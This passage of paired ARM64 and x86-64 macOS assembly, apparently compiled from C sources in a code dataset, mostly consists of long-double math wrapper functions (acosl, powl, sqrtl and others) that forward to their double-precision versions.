movb (%rax,%rcx), %al
movq -16(%rbp), %rcx
movslq -20(%rbp), %rdx
movb %al, (%rcx,%rdx)
movsbl %al, %eax
cmpl $0, %eax
je LBB2_3
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB2_1
LBB2_3:
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%s"
.subsections_via_symbols
| the_stack_data/92504.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.comm _u,5,0 ; @u
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.comm _u,5,0 ## @u
.subsections_via_symbols
| the_stack_data/12637034.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nexttoward ; -- Begin function nexttoward
.p2align 2
_nexttoward: ; @nexttoward
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str d1, [sp]
ldr d0, [sp, #8]
ldr d1, [sp]
bl _nextafter
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _nexttowardf ; -- Begin function nexttowardf
.p2align 2
_nexttowardf: ; @nexttowardf
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur s0, [x29, #-4]
str d1, [sp]
ldur s0, [x29, #-4]
ldr d1, [sp]
fcvt s1, d1
bl _nextafterf
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _nexttowardl ; -- Begin function nexttowardl
.p2align 2
_nexttowardl: ; @nexttowardl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str d1, [sp]
ldr d0, [sp, #8]
ldr d1, [sp]
bl _nextafter
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _acosl ; -- Begin function acosl
.weak_definition _acosl
.p2align 2
_acosl: ; @acosl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _acos
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _asinl ; -- Begin function asinl
.weak_definition _asinl
.p2align 2
_asinl: ; @asinl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _asin
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _atanl ; -- Begin function atanl
.weak_definition _atanl
.p2align 2
_atanl: ; @atanl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _atan
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _atan2l ; -- Begin function atan2l
.weak_definition _atan2l
.p2align 2
_atan2l: ; @atan2l
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str d1, [sp]
ldr d0, [sp, #8]
ldr d1, [sp]
bl _atan2
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _cosl ; -- Begin function cosl
.weak_definition _cosl
.p2align 2
_cosl: ; @cosl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _cos
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _coshl ; -- Begin function coshl
.weak_definition _coshl
.p2align 2
_coshl: ; @coshl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _cosh
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _expl ; -- Begin function expl
.weak_definition _expl
.p2align 2
_expl: ; @expl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _exp
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _fmodl ; -- Begin function fmodl
.weak_definition _fmodl
.p2align 2
_fmodl: ; @fmodl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str d1, [sp]
ldr d0, [sp, #8]
ldr d1, [sp]
bl _fmod
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _powl ; -- Begin function powl
.weak_definition _powl
.p2align 2
_powl: ; @powl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str d1, [sp]
ldr d0, [sp, #8]
ldr d1, [sp]
bl _pow
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _sinl ; -- Begin function sinl
.weak_definition _sinl
.p2align 2
_sinl: ; @sinl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _sin
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _sinhl ; -- Begin function sinhl
.weak_definition _sinhl
.p2align 2
_sinhl: ; @sinhl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _sinh
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _sqrtl ; -- Begin function sqrtl
.weak_definition _sqrtl
.p2align 2
_sqrtl: ; @sqrtl
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
fsqrt d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _tanl ; -- Begin function tanl
.weak_definition _tanl
.p2align 2
_tanl: ; @tanl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _tan
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _tanhl ; -- Begin function tanhl
.weak_definition _tanhl
.p2align 2
_tanhl: ; @tanhl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _tanh
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _acoshl ; -- Begin function acoshl
.weak_definition _acoshl
.p2align 2
_acoshl: ; @acoshl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _acosh
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _asinhl ; -- Begin function asinhl
.weak_definition _asinhl
.p2align 2
_asinhl: ; @asinhl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _asinh
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _atanhl ; -- Begin function atanhl
.weak_definition _atanhl
.p2align 2
_atanhl: ; @atanhl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _atanh
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _cbrtl ; -- Begin function cbrtl
.weak_definition _cbrtl
.p2align 2
_cbrtl: ; @cbrtl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _cbrt
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _erfl ; -- Begin function erfl
.weak_definition _erfl
.p2align 2
_erfl: ; @erfl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _erf
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _erfcl ; -- Begin function erfcl
.weak_definition _erfcl
.p2align 2
_erfcl: ; @erfcl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _erfc
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _expm1l ; -- Begin function expm1l
.weak_definition _expm1l
.p2align 2
_expm1l: ; @expm1l
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _expm1
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _hypotl ; -- Begin function hypotl
.weak_definition _hypotl
.p2align 2
_hypotl: ; @hypotl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str d1, [sp]
ldr d0, [sp, #8]
ldr d1, [sp]
bl _hypot
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _lgammal ; -- Begin function lgammal
.weak_definition _lgammal
.p2align 2
_lgammal: ; @lgammal
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _lgamma
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _llrintl ; -- Begin function llrintl
.weak_definition _llrintl
.p2align 2
_llrintl: ; @llrintl
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintx d0, d0
fcvtzs x0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _logl ; -- Begin function logl
.weak_definition _logl
.p2align 2
_logl: ; @logl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _log
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _log1pl ; -- Begin function log1pl
.weak_definition _log1pl
.p2align 2
_log1pl: ; @log1pl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _log1p
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _log2l ; -- Begin function log2l
.weak_definition _log2l
.p2align 2
_log2l: ; @log2l
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _log2
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _logbl ; -- Begin function logbl
.weak_definition _logbl
.p2align 2
_logbl: ; @logbl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _logb
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _log10l ; -- Begin function log10l
.weak_definition _log10l
.p2align 2
_log10l: ; @log10l
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _log10
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _nanl ; -- Begin function nanl
.weak_definition _nanl
.p2align 2
_nanl: ; @nanl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #8]
ldr x0, [sp, #8]
bl _nan
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _nearbyintl ; -- Begin function nearbyintl
.weak_definition _nearbyintl
.p2align 2
_nearbyintl: ; @nearbyintl
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frinti d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _remainderl ; -- Begin function remainderl
.weak_definition _remainderl
.p2align 2
_remainderl: ; @remainderl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str d1, [sp]
ldr d0, [sp, #8]
ldr d1, [sp]
bl _remainder
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _remquol ; -- Begin function remquol
.weak_definition _remquol
.p2align 2
_remquol: ; @remquol
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur d0, [x29, #-8]
str d1, [sp, #16]
str x0, [sp, #8]
ldur d0, [x29, #-8]
ldr d1, [sp, #16]
ldr x0, [sp, #8]
bl _remquo
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _rintl ; -- Begin function rintl
.weak_definition _rintl
.p2align 2
_rintl: ; @rintl
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
frintx d0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _lrintl ; -- Begin function lrintl
.weak_definition _lrintl
.p2align 2
_lrintl: ; @lrintl
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str d0, [sp, #8]
ldr d0, [sp, #8]
fmov x0, d0
fmov d0, x0
frintx d0, d0
fcvtzs x0, d0
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _tgammal ; -- Begin function tgammal
.weak_definition _tgammal
.p2align 2
_tgammal: ; @tgammal
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _tgamma
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _modfl ; -- Begin function modfl
.weak_definition _modfl
.p2align 2
_modfl: ; @modfl
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
str x0, [sp]
ldr d0, [sp, #8]
ldr x0, [sp]
bl _modf
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _exp2l ; -- Begin function exp2l
.weak_definition _exp2l
.p2align 2
_exp2l: ; @exp2l
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str d0, [sp, #8]
ldr d0, [sp, #8]
bl _exp2
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _nexttoward ## -- Begin function nexttoward
.p2align 4, 0x90
_nexttoward: ## @nexttoward
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
fldt 16(%rbp)
movsd %xmm0, -8(%rbp)
fstpt -32(%rbp)
movsd -8(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -40(%rbp)
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
callq _nextafter
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _nexttowardf ## -- Begin function nexttowardf
.p2align 4, 0x90
_nexttowardf: ## @nexttowardf
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
fldt 16(%rbp)
movss %xmm0, -4(%rbp)
fstpt -32(%rbp)
movss -4(%rbp), %xmm0 ## xmm0 = mem[0],zero,zero,zero
fldt -32(%rbp)
fstps -36(%rbp)
movss -36(%rbp), %xmm1 ## xmm1 = mem[0],zero,zero,zero
callq _nextafterf
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _nexttowardl ## -- Begin function nexttowardl
.p2align 4, 0x90
_nexttowardl: ## @nexttowardl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
fldt 32(%rbp)
fldt 16(%rbp)
fstpt -16(%rbp)
fstpt -32(%rbp)
fldt -16(%rbp)
fstpl -48(%rbp)
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -40(%rbp)
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
callq _nextafter
movsd %xmm0, -56(%rbp)
fldl -56(%rbp)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _acosl ## -- Begin function acosl
.weak_definition _acosl
.p2align 4, 0x90
_acosl: ## @acosl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _acos
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _asinl ## -- Begin function asinl
.weak_definition _asinl
.p2align 4, 0x90
_asinl: ## @asinl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _asin
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _atanl ## -- Begin function atanl
.weak_definition _atanl
.p2align 4, 0x90
_atanl: ## @atanl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _atan
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _atan2l ## -- Begin function atan2l
.weak_definition _atan2l
.p2align 4, 0x90
_atan2l: ## @atan2l
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
fldt 32(%rbp)
fldt 16(%rbp)
fstpt -16(%rbp)
fstpt -32(%rbp)
fldt -16(%rbp)
fstpl -48(%rbp)
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -40(%rbp)
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
callq _atan2
movsd %xmm0, -56(%rbp)
fldl -56(%rbp)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _cosl ## -- Begin function cosl
.weak_definition _cosl
.p2align 4, 0x90
_cosl: ## @cosl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _cos
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _coshl ## -- Begin function coshl
.weak_definition _coshl
.p2align 4, 0x90
_coshl: ## @coshl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _cosh
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _expl ## -- Begin function expl
.weak_definition _expl
.p2align 4, 0x90
_expl: ## @expl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
fldt 16(%rbp)
fstpt -16(%rbp)
fldt -16(%rbp)
fstpl -24(%rbp)
movsd -24(%rbp), %xmm0 ## xmm0 = mem[0],zero
callq _exp
movsd %xmm0, -32(%rbp)
fldl -32(%rbp)
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _fmodl ## -- Begin function fmodl
.weak_definition _fmodl
.p2align 4, 0x90
_fmodl: ## @fmodl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $64, %rsp
fldt 32(%rbp)
fldt 16(%rbp)
fstpt -16(%rbp)
fstpt -32(%rbp)
fldt -16(%rbp)
fstpl -48(%rbp)
movsd -48(%rbp), %xmm0 ## xmm0 = mem[0],zero
fldt -32(%rbp)
fstpl -40(%rbp)
movsd -40(%rbp), %xmm1 ## xmm1 = mem[0],zero
callq _fmod
movsd %xmm0, -56(%rbp)
fldl -56(%rbp)
addq $64, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _powl ## -- Begin function powl
.weak_definition _powl
.p2align 4, 0x90
_powl: ## @powl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
